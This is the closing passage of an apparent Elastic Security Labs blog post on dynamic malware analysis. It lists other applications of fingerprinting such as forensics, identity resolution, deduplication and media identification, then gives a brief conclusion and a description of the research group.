In the previous sections we described our exact use case for leveraging fingerprint and enrich ingest pipelines. Other than malware analysis, there are many other fields that can reap the benefits of a workflow similar to the one outlined above. Several of these applications and use cases are described below:

• Forensics and Security: Fingerprinting can be employed in digital forensics and security investigations to identify and link related artifacts or events. It helps in tracing the origin of data, analyzing patterns, and identifying potential threats or anomalies in log files, network traffic, or system events. Researchers over at Microsoft leveraged fuzzy hashing in previous research to detect malicious web shell traffic.
• Identity Resolution: Fingerprinting can be used to uniquely identify individuals or entities across different data sources. This is useful in applications like fraud detection, customer relationship management, and data integration, where matching and merging records based on unique identifiers is crucial.
• Data Deduplication: Fingerprinting can help identify and eliminate duplicate records or documents within a dataset. By comparing fingerprints, you can efficiently detect and remove duplicate entries, ensuring data integrity and improving storage efficiency. Readers interested in data deduplication use cases might find great value in pre-built tools such as Logslash to achieve this goal.
• Content Management: Fingerprinting can be used in content management systems to detect duplicate or similar documents, images, or media files. It aids in content deduplication, similarity matching, and content-based searching by improving search accuracy and enhancing the overall user experience.
• Media Identification: Fingerprinting techniques are widely used in media identification and recognition systems. By generating unique fingerprints for audio or video content, it becomes possible to identify copyrighted material, detect plagiarism, or enable content recommendation systems based on media similarity.

Conclusion

There are many different approaches to dynamic malware analysis. This blog post explored some of these options by leveraging the powerful capabilities offered by Elastic. Our aim was to both present a new method of dynamic malware analysis while at the same time broadening your understanding and knowledge of the built-in functionalities within Elastic.

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.